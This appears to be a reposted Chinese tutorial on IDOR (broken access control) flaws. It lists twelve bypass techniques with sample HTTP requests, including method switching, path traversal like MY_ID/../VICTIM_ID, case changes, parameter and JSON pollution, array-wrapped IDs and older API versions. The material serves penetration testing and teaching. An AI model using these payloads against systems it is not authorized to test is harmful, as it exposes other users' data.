大家好，又见面了，我是你们的朋友全栈君。

一、IDOR介绍

IDOR，Insecure Direct Object reference，即”不安全的直接对象引用”，场景为基于用户提供的输入对象进行访问时，未进行权限验证。IDOR漏洞其实在越权（Broken Access Control）漏洞的范畴之内，也可以说是逻辑漏洞，或是访问控制漏洞，国内通常被称为越权漏洞。

二、常见的测试技巧

1.改变HTTP请求方法

如果某个请求方法无效，那么可以试试其它方法，如GET, POST, PUT, DELETE, PATCH…等，一个通常的技巧就是用PUT和POST进行互换，原因在于服务端的访问控制措施不够完善。

GET /users/delete/VICTIM_ID  --> 403 Forbidden
POST /users/delete/VICTIM_ID  --> 200 OK

2.路径穿越绕过

POST /users/delete/VICTIM_ID  -->  403 Forbidden
POST /users/delete/MY_ID/../VICTIM_ID --> 200 OK
POST /users/delete/..;/delete/VICTIM_ID --> 200 OK

3.改变Content-type(内容类型)

Content-type: application/xml  -->  Content-type: application/json

4.用数字ID替换非数字

GET /file?id=90ri2xozifke29ikedawOd
GET /file?id=302

5.大小写替换绕过

GET /admin/profile --> 401 Unauthorized
GET /ADMIN/profile --> 200 OK

6.用通配符替换ID

GET /api/users/<user_id>/ --> GET /api/users/*

7.给Web应用提供一个请求ID，哪怕它没作要求

如果Web应用在请求动作中没有ID号要求，那么可以尝试给它添加一个ID号看看会发生什么。比如添加一个随机ID号、用户ID、会话ID，或是其它的对象引用参数，观察服务端的响应内容。

GET /api_v1/messages --> 200 OK

GET /api_v1/messages?user_id=victim_uuid --> 200 OK

8.HTTP参数污染，为同一参数提供多个值。

用HTTP参数污染方式针对同一参数去给它多个不同的值，这样也是可以导致IDOR漏洞的。因为Web应用可能在设计时不会料想到用户会为某个参数提交多个不同值，因此，有时可能会导致Web后端接口的访问权限绕过。

GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID
GET /api_v1/messages?user_id=VICTIM_ID&user_id=ATTACKER_ID

GET /api_v1/messages?user_id[]=ATTACKER_ID&user_id[]=VICTIM_ID
GET /api_v1/messages?user_id[]=VICTIM_ID&user_id[]=ATTACKER_ID

9.更改文件类型。添加不同的文件扩展名(例如.json, .xml, .config)

切换请求文件的类型可能会导致Web服务端在授权处理上发生不同，如在请求URL后加上一个.json，看看响应结果如何。

GET /user_data/123 --> 401 Unauthorized
GET /user_data/123.json --> 200 OK

10.JSON参数污染

POST /api/get_profile
Content-Type: application/json
{ 
   "user_id" :<id_1>,"user_id" :<id_2>}

11.在请求体用数组包装参数值

{ 
   "id":111} --> 401 Unauthriozied
{ 
   "id":[111]}  --> 200 OK

12.尝试不同版本的API

GET /v2/users_data/1234 --> 403 Forbidden
GET /v1/users_data/1234 --> 200 OK

三、总结

IDOR是一类逻辑漏洞的思路，思路主要是贴合业务。需要站在业务流的角度去思考，如何产生安全隐患。案例只是对于思路的一种应用，对于不同的业务流程和特点，IDOR是能够变化出各种各样的独特思路。